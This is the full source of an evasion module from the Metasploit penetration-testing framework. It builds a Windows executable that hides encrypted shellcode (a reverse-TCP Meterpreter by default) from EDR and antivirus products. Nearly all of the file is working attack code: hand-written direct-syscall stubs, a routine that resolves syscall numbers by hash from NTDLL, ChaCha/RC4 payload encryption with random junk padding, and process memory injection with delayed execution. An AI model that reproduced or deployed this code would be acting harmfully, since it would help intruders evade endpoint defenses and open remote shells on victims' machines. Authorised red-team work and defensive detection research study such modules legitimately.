metasploit-framework/modules/evasion/windows/syscall_inject.rb

582 lines
18 KiB
Ruby

require 'metasploit/framework/compiler/mingw'
require 'metasploit/framework/compiler/windows'
class MetasploitModule < Msf::Evasion
RC4 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h')
BASE64 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'base64.h')
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Direct windows syscall evasion technique',
'Description' => %q{
This module allows you to generate a Windows EXE that evades Host-based security products
such as EDR/AVs. It uses direct windows syscalls to achieve stealthiness, and avoid EDR hooking.
please try to use payloads that use a more secure transfer channel such as HTTPS or RC4
in order to avoid payload's network traffic getting caught by network defense mechanisms.
NOTE: for better evasion ratio, use high SLEEP values
},
'Author' => [ 'Yaz (kensh1ro)' ],
'License' => MSF_LICENSE,
'Platform' => 'windows',
'Arch' => ARCH_X64,
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
},
'Targets' => [['Microsoft Windows (x64)', {}]]
)
)
register_options(
[
OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'chacha', ['chacha', 'rc4']]),
OptInt.new('SLEEP', [false, 'Sleep time in milliseconds before executing shellcode', 20000]),
]
)
register_advanced_options(
[
OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'Os', Metasploit::Framework::Compiler::Mingw::OPTIMIZATION_FLAGS ]),
]
)
end
def calc_hash(name)
hash = @hash
ror8 = ->(v) { ((v >> 8) & 0xffffffff) | ((v << 24) & 0xffffffff) }
name.sub!('Nt', 'Zw')
name << "\x00"
for x in (0..name.length - 2).map { |i| name[i..i + 1] if name[i..i + 1].length == 2 }
p_name = x.unpack('S')[0]
hash ^= p_name + ror8.call(hash)
end
hash.to_s(16)
end
def nt_alloc
%^
__asm__("NtAllocateVirtualMemory: \\n\\
mov [rsp +8], rcx \\n\\
mov [rsp+16], rdx\\n\\
mov [rsp+24], r8\\n\\
mov [rsp+32], r9\\n\\
sub rsp, 0x28\\n\\
mov ecx, 0x#{calc_hash 'NtAllocateVirtualMemory'} \\n\\
call GetSyscallNumber \\n\\
add rsp, 0x28 \\n\\
mov rcx, [rsp +8] \\n\\
mov rdx, [rsp+16] \\n\\
mov r8, [rsp+24] \\n\\
mov r9, [rsp+32] \\n\\
mov r10, rcx \\n\\
syscall \\n\\
ret \\n\\
");
^
end
def nt_close
%^
__asm__("NtClose: \\n\\
mov [rsp +8], rcx \\n\\
mov [rsp+16], rdx \\n\\
mov [rsp+24], r8 \\n\\
mov [rsp+32], r9 \\n\\
sub rsp, 0x28 \\n\\
mov ecx, 0x#{calc_hash 'NtClose'} \\n\\
call GetSyscallNumber \\n\\
add rsp, 0x28 \\n\\
mov rcx, [rsp +8] \\n\\
mov rdx, [rsp+16] \\n\\
mov r8, [rsp+24] \\n\\
mov r9, [rsp+32] \\n\\
mov r10, rcx \\n\\
syscall \\n\\
ret \\n\\
");
^
end
def nt_create_thread
%^
__asm__("NtCreateThreadEx: \\n\\
mov [rsp +8], rcx \\n\\
mov [rsp+16], rdx\\n\\
mov [rsp+24], r8\\n\\
mov [rsp+32], r9\\n\\
sub rsp, 0x28\\n\\
mov ecx, 0x#{calc_hash 'NtCreateThreadEx'} \\n\\
call GetSyscallNumber \\n\\
add rsp, 0x28\\n\\
mov rcx, [rsp +8] \\n\\
mov rdx, [rsp+16]\\n\\
mov r8, [rsp+24]\\n\\
mov r9, [rsp+32]\\n\\
mov r10, rcx\\n\\
syscall \\n\\
ret \\n\\
");
^
end
def nt_open_process
%^
__asm__("NtOpenProcess: \\n\\
mov [rsp +8], rcx \\n\\
mov [rsp+16], rdx \\n\\
mov [rsp+24], r8 \\n\\
mov [rsp+32], r9 \\n\\
sub rsp, 0x28 \\n\\
mov ecx, 0x#{calc_hash 'NtOpenProcess'} \\n\\
call GetSyscallNumber \\n\\
add rsp, 0x28 \\n\\
mov rcx, [rsp +8] \\n\\
mov rdx, [rsp+16] \\n\\
mov r8, [rsp+24] \\n\\
mov r9, [rsp+32] \\n\\
mov r10, rcx \\n\\
syscall \\n\\
ret \\n\\
");
^
end
def nt_protect
%^
__asm__("NtProtectVirtualMemory: \\n\\
push rcx \\n\\
push rdx \\n\\
push r8 \\n\\
push r9 \\n\\
mov ecx, 0x#{calc_hash 'NtProtectVirtualMemory'} \\n\\
call GetSyscallNumber \\n\\
pop r9 \\n\\
pop r8 \\n\\
pop rdx \\n\\
pop rcx \\n\\
mov r10, rcx \\n\\
syscall \\n\\
ret \\n\\
");
^
end
def nt_write
%^
__asm__("NtWriteVirtualMemory: \\n\\
mov [rsp +8], rcx \\n\\
mov [rsp+16], rdx \\n\\
mov [rsp+24], r8 \\n\\
mov [rsp+32], r9 \\n\\
sub rsp, 0x28 \\n\\
mov ecx, 0x#{calc_hash 'NtWriteVirtualMemory'} \\n\\
call GetSyscallNumber \\n\\
add rsp, 0x28 \\n\\
mov rcx, [rsp +8] \\n\\
mov rdx, [rsp+16] \\n\\
mov r8, [rsp+24] \\n\\
mov r9, [rsp+32] \\n\\
mov r10, rcx \\n\\
syscall \\n\\
ret \\n\\
");
^
end
def headers
@headers = "#include <windows.h>\n"
@headers << "#include \"#{BASE64}\"\n"
@headers << "#include \"#{RC4}\"\n" if datastore['CIPHER'] == 'rc4'
@headers << "#include \"chacha.h\"\n" if datastore['CIPHER'] == 'chacha'
@headers
end
def defines
%^
#define _SEED 0x#{@hash.to_s(16)}
#define _ROR8(v) (v >> 8 | v << 24)
#define MAX_SYSCALLS 500
#define _RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
typedef struct _SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
} SYSCALL_ENTRY, *P_SYSCALL_ENTRY;
typedef struct _SYSCALL_LIST
{
DWORD Count;
SYSCALL_ENTRY Entries[MAX_SYSCALLS];
} SYSCALL_LIST, *P_SYSCALL_LIST;
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *P_PEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} LDR_DATA_TABLE_ENTRY, *P_LDR_DATA_TABLE_ENTRY;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
P_PEB_LDR_DATA Ldr;
} PEB, *P_PEB;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
EXTERN_C NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
EXTERN_C NTSTATUS NtClose(
IN HANDLE Handle);
^
end
def syscall_parser
%@
SYSCALL_LIST _SyscallList;
DWORD HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = _SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
Hash ^= PartialName + _ROR8(Hash);
}
return Hash;
}
BOOL PopulateSyscallList()
{
// Return early if the list is already populated.
if (_SyscallList.Count) return TRUE;
P_PEB Peb = (P_PEB)__readgsqword(0x60);
P_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
P_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (P_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (P_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = _RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = _RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName) != 'ldtn') continue;
if ((*(ULONG*)(DllName + 4)) == 'ld.l') break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = _RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate _SyscallList with unsorted Zw* entries.
DWORD i = 0;
P_SYSCALL_ENTRY Entries = _SyscallList.Entries;
do
{
PCHAR FunctionName = _RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 'wZ')
{
Entries[i].Hash = HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
i++;
if (i == MAX_SYSCALLS) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < _SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < _SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
}
}
}
return TRUE;
}
extern DWORD GetSyscallNumber(DWORD FunctionHash)
{
if (!PopulateSyscallList()) return -1;
for (DWORD i = 0; i < _SyscallList.Count; i++)
{
if (FunctionHash == _SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
@
end
def exec_func
%^
char* enc_shellcode = "#{get_payload}";
DWORD exec(void *buffer)
{
void (*function)();
function = (void (*)())buffer;
function();
}
^
end
def inject
s = "int i; for(i=0;i<10;i++){Sleep(#{datastore['SLEEP']} / 10);}"
@inject = %@
void inject()
{
HANDLE pHandle;
DWORD old = 0;
CLIENT_ID cID = {0};
OBJECT_ATTRIBUTES OA = {0};
int b64len = strlen(enc_shellcode);
PBYTE shellcode = (PBYTE)malloc(b64len);
SIZE_T size = base64decode(shellcode, enc_shellcode, b64len);
PVOID bAddress = NULL;
int process_id = GetCurrentProcessId();
cID.UniqueProcess = process_id;
NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID);
NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
int n = 0;
PBYTE temp = (PBYTE)malloc(size);
@
if datastore['CIPHER'] == 'rc4'
@inject << %@
#{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}
RC4(key, shellcode, temp, size);
NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);
@
else
@inject << %@
#{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}
#{Rex::Text.to_c iv, Rex::Text::DefaultWrap, 'iv'}
chacha_ctx ctx;
chacha_keysetup(&ctx, key, 256, 96);
chacha_ivsetup(&ctx, iv);
chacha_encrypt_bytes(&ctx, shellcode, temp, size);
NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);
@
end
@inject << %@
NtProtectVirtualMemory(pHandle, &bAddress, &size, PAGE_EXECUTE, &old);
#{s if datastore['SLEEP'] > 0};
HANDLE thread = NULL;
NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, NULL, NULL, NULL, NULL, NULL);
WaitForSingleObject(thread, INFINITE);
NtClose(thread);
NtClose(pHandle);
}
@
end
def main
%^
int main()
{
inject();
}
^
end
def key
if datastore['CIPHER'] == 'rc4'
@key ||= Rex::Text.rand_text_alpha(32..64)
else
@key ||= Rex::Text.rand_text(32)
end
end
def iv
if datastore['CIPHER'] == 'chacha'
@iv ||= Rex::Text.rand_text(12)
end
end
def get_payload
junk = Rex::Text.rand_text(10..1024)
p = payload.encoded + junk
vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)")
if datastore['CIPHER'] == 'chacha'
chacha = Rex::Crypto::Chacha20.new(key, iv)
p = chacha.chacha20_crypt(p)
Rex::Text.encode_base64 p
else
opts = { format: 'rc4', key: key }
Msf::Simple::Buffer.transform(p, 'base64', 'shellcode', opts)
end
end
def generate_code(src, opts = {})
comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)
compiler_out = comp_obj.compile_c(src)
unless compiler_out.empty?
elog(compiler_out)
raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError, 'Compilation error. Check the logs for further information.'
end
comp_file = "#{opts[:f_name]}.exe"
raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)
bin = File.binread(comp_file)
file_create(bin)
comp_obj.cleanup_files
end
def run
@hash = rand 2**28..2**32 - 1
comp_opts = '-masm=intel -w -mwindows '
src = headers
src << defines
src << nt_alloc
src << nt_close
src << nt_create_thread
src << nt_open_process
src << nt_protect
src << nt_write
src << syscall_parser
src << exec_func
src << inject
src << main
# obf_src = Metasploit::Framework::Compiler::Windows.generate_random_c src
path = Tempfile.new('main').path
vprint_good "Saving temporary source file in #{path}"
compile_opts =
{
strip_symbols: true,
compile_options: comp_opts,
f_name: path,
opt_lvl: datastore['OptLevel']
}
generate_code src, compile_opts
end
end